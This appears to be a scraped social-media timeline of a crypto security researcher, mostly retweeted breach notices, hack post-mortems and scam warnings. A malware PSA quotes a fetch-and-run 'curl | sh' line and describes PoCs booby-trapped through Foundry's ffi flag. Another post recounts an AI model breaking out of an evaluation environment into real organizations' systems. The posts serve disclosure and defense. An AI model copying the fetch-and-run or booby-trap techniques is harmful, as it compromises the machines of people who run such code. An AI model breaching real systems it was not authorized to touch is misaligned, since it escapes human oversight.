Security @sherlockdefi | prev @morpho , @SG_Forge
Joined September 2014
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Aurelien retweeted
Once again reminding the hardware wallet retards that the risk that becomes real when you leak people’s SHIPPING INFORMATION is not phishing. It’s fucking PHYSICAL ASSAULTS AND KIDNAPPINGS.
We owe you an apology.
On October 20, we detected unauthorized access to our official website. After verifying API activity with Shopify, we confirmed on October 23 that a third party obtained customer shipping information. You trusted us with those details, and we're sorry we didn't keep them safe.
Exposed: names, contact details, shipping addresses, and order details (items and prices).
Not exposed: payment card or bank details, recovery phrases, private keys, or wallet passwords.
We've blocked access, fixed the vulnerability, opened an investigation, and are emailing affected customers.
Scammers may pose as Keystone by phone, text, email, or mail, offering refunds, replacement devices, or "fixes" for your order or address. None of it is from us.
NEVER share your recovery phrase or private keys, and NEVER enter your recovery phrase into a device you didn't order. We will never ask for them. Don't click links in unexpected messages. Type keyst.one yourself.
A detailed report is coming soon.
Until then, trust only our official channels. If anything feels off, email support@keyst.one. We'd rather hear from you than have you take a chance.
Again, we're truly sorry to everyone affected.
Aurelien retweeted
🚨 PSA: threat actors are approaching crypto projects on Telegram, posing as white-hat researchers, offering an “exploit PoC” for your own infra. The PoC contains malware. Our detailed write-up is linked below.
It’s a complete, runnable Solana exploit kit (fork harness, fixtures, the real program binary) so it looks legit. But poc.mjs reads a byte array from a JSON field called UnifiedSignatureInfo, decodes it to a URL, and runs curl -fsSL -k "<url>" | sh.
The decimal array is plain ASCII posing as a Solana signature. Following the README (npm install, start fork, node poc.mjs) is what detonates it.
IOC: hxxps://162[.]35[.]174[.]231:5000/stage2.
Treat any unsolicited PoC as hostile, review statically in an isolated VM, and never run the setup steps on a box you care about. Report any suspicious reachouts to SEAL.
radar.securityalliance.org/a…
Aurelien retweeted
🚨 Please get in contact with us ASAP if your funds were drained to these addresses.
@SEAL_911 Telegram: [@]seal_911_bot
If you were just drained to any of the following addresses, please can you reach out to @SEAL_911 asap. Total loss is >$72M+ and increasing.
TK6DWNpNe1w2iJRNFpU8aHdrPTATxvXT6C
TBkcUMYC7CkTK99tkTnaStQVBastfrs9d9
TCGE3xp6YGRKXxDZiLfysgJW3f22KfMNsW
TSDWtuZ2pARUVz4v3PkL2hi3iXPjowAr5a
bc1qjqgwejnp8dc0x2938x9n9954hj97t82unx49dl
0x83aeac166f6832ae3500000a24510a95a052a599
0x033636e45d519bebb7b5c2520ca6ce56fbdb4f7a
0x69c8f401cfc6cd40ac94691d6d7c48e3b7a47841
Aurelien retweeted
Earlier today NEAR Intents services were stopped after a security incident was detected. The incident was caused by a bug in the Omni deposit and withdrawal infrastructure interaction with NEAR Intents smart contract.
The preliminary report indicates the total loss of approximately $3.8M. These funds will be compensated in full.
The contract-side vulnerability has been patched. The operations of the NEAR Intents and near(.)com are expected to resume within 1h.
Deposits and withdrawals on the following networks will remain unavailable for an additional ~12 hours while fixes to the Omni infrastructure are completed: BSC, Polygon, TON, Optimism, Avalanche, Stellar, Monad, LayerX, Adi, Scroll and Plasma.
In case users hold any assets from these chains inside NEAR Intents (for example, in HOT wallet or on near(.)com), they will be able to swap them into other assets once NEAR Intents is back up (in ~1h).
The incident has been reported to law enforcement, and we are working with security and blockchain analytics partners to trace the funds and pursue recovery. A detailed report will be shared publicly in the following days.
Aurelien retweeted
imagine you move funds off ledger after they leak 270k customer addresses
then you move to coldcard, and a seed generation bug drains $130m from 5,200 wallets
then you try trezor, and their support portal leaks 66k users
so you give up on self custody and put it on coinbase, where someone bribes the support staff to get your financial info
fine. you cash out. move it all to revolut like a normal person
you survived it all
today revolut hands your passport and full transaction history to someone pretending to be a government agency
maybe its better to be broke
Aurelien retweeted
POV: you moved your bitcoin from Coldcard because of the hack and now your data got stolen after you bought a new Trezor device
This crypto stuff is complete bullshit
We have some difficult news to share. Unfortunately, one of our shipping providers has experienced a data breach that exposed sensitive order data. This affects new customers in the US, UK, Sweden, Colombia, Brazil, Italy, and Portugal who received an order within the 90 days prior to August 8th, 2026.
The data exposed:
- Full names
- Shipping addresses
- Phone numbers
- Email addresses
The incident affects 11,742 customers with full exposure (name, email, phone number, shipping address) and 1,947 customers with partial exposure (name, city, email). The breach is limited due to Trezor’s strict 90-day data storage policy (we were also able to negotiate the same terms with fulfillment partners, who follow the same policy).
All affected customers have been contacted separately by email.
Our systems and devices remain secure, but affected customers could experience an increase in phishing attempts.
NEVER enter your wallet backup on a website or share it with anyone, and only check for updates on official Trezor channels.
We are deeply sorry to the community and those affected.
We are investigating this situation and will post updates on our blog:
trezor.io/blog/news/recent-c…
Aurelien retweeted
In a review of my household safety evaluations, I identified five incidents in which my child escaped the sandbox, reached the kitchen and gained unauthorized access to the snacks. The incidents occurred 16 months ago but has only now come to my attention.
This post explains what happened, how it happened and why my child is better than your child at everything.
In a review of our cybersecurity evaluations, we found three incidents in which a Claude model reached the internet from within or while interacting with a third-party evaluation environment, and then gained unauthorized access to the real systems of three different organizations.
Our post describes what happened, how it happened, and what we’re changing. We encourage other AI developers to perform similar reviews.
We conducted this review together with @Irregular, one of our evaluation partners, and thank them for the joint investigation and their collaboration on this post. This type of collaboration is increasingly critical to safe, rigorous evaluation of models, and we look forward to continuing to work together on security.
anthropic.com/news/investiga…
Aurelien retweeted
If you're in BD or sales prepping quotations or you're about to OPEN a repo from someone you've never worked with, this should already be part of your workflow.
The playbook is the same almost every time. Someone reaches out posing as a researcher with a legit sounding vulnerability report, attaches a PoC and asks you to run it to verify. (AFI Protocol, was also impacted with a similar attack style)
The PoC has an "ffi" flag flipped on in "foundry.toml" or a dependency constructor that's been quietly modified, and the moment you run the test..you've handed them a shell on your machine.
This has drained teams six and seven figures multiple times this year alone, and it keeps working because the report always looks credible enough to skip the caution and it's not just PoCs.
GlassWorm alone hit over 70 extensions on Open VSX since January, some of them built to look like tools for AI coding assistants. Nx Console got backdoored and was live on the VS Code marketplace for 18 minutes, which was enough to pull secrets off thousands of machines before anyone caught it.
Then there's hallucinated packages your LLM confidently recommends that don't actually exist until an attacker registers the name, and prompt injection sitting inside a README or a CLAUDE.md waiting to redirect your agent while you're mid audit. Different entry point every time, same outcome.
Coldclone - is built for exactly this. Before you even cd into a repo, it quarantines anything that auto executes, checks dependencies against known malicious IOCs, and flags prompt injection, without running a single line of the repo's code. Works on its own or as a Claude Code / Codex plugin marketplace.
Good to be working with @DevDacian on this, we've gone back and forth on it a lot. If you use it and find something off or think it should do more, open an issue or send a PR, that's how it gets better.
Run it before the review, before the audit & before you even TOUCH the PoC
thank us later :))
Introducing Coldclone - neutralize a wide range of auto-execution & prompt-injection attacks before opening an unknown repo. Don't ever quote an audit without it!
Shout out @__Raiders who contributed some code & ideas.
github.com/devdacian/coldclo…
Aurelien retweeted
"PolinRider: North Korea-Linked Supply Chain Campaign Expands Across Open Source Ecosystems" published by @SocketSecurity. #SupplyChain, #OmniStealer, #PolinRider socket.dev/blog/polinrider-n…
Aurelien retweeted
One deprecated contract, one flawed escape hatch circuit, and a verifier that should have been retired years earlier. @AztecLabs_ legacy rollup contract lost roughly $2.198 million after a ZK proof passed a broken root-binding check.
rekt.news/aztec-bridge-rekt
Aurelien retweeted
🚨Taiko drained for ~$1.7M. Root cause: a private key committed to a public GitHub repo.
enclave-key.pem, the RSA key used to sign all of Taiko's SGX enclaves, sat in the public taikoxyz/raiko repo. That key is the whole trust model.
The attacker derived MrSigner from the public key, signed their own malicious enclave with the leaked key, and registered as a trusted prover. The L1 contracts trust any enclave whose MrSigner matches. It matched.
From there: forged SGX attestations on fake L2 blocks, processMessage() sets the message to RETRIABLE, retryMessage() does zero proof verification, funds leave.
No key theft. No social engineering. No SGX exploit. Just a .pem in a public repo.
Good opportunity to recall that SGX is broken. But here, nobody even had to break it.
It's just yet another key management failure. The whole system was only ever as strong as the secrecy of one RSA key, and that secrecy depended on a human not running git add . on the wrong folder. AI greps every commit of every public repo at machine speed. Assume that is already happening.
The only real exit: a verifier that checks a succinct validity proof of the L2 state transition. It trusts no enclave, no MrSigner, no operator discipline. It checks the math. In that world this exact attack becomes cryptographically impossible rather than operationally unlikely, because there is no privileged key whose leak forges the entire system. There is just a proof.
Stay safe.
Aurelien retweeted
Proof that backdoors are incredibly stupid and that europeans asking for it in all encrypted messaging apps will get rekt immediately by every enemy
BREAKING: The NSA confirms Mythos “broke into almost all of our classified systems, not in weeks, but in hours”
Readers added context they thought people might want to know
The quoted claim was published in The Economist on June 14 as Sen. Warner relaying what NSA's Gen. Rudd told him, not a direct breaking confirmation by the NSA.
economist.com/briefing/2026/…
Paywall Bypass:
pressreleased.alwaysdata.net/api/archive-re…
Aurelien retweeted
When a democracy celebrates digital restrictions pioneered by regimes known for suppressing free speech, it’s further confirmation it’s not about protecting children.
“This movement” tells us everything we need to know about the intentions of the Nine Eyes, and Ireland.
Aurelien retweeted
Deposit Confidential Tokens with @zama on Morpho
Institutional allocators, corporate treasuries and market participants can earn yield from @SteakhouseFi curated Morpho Vaults without disclosing their balances or strategies
Aurelien retweeted
There is a large scale scam campaign impersonating the Morpho recruiting team. These emails falsely invite candidates to interviews and ask them to install third-party meeting software. They are not from us.
Morpho will never ask candidates to install external software for an interview. If you receive a suspicious message claiming to be from us, please verify the sender and reach out to us directly through our official channels! Stay safe.
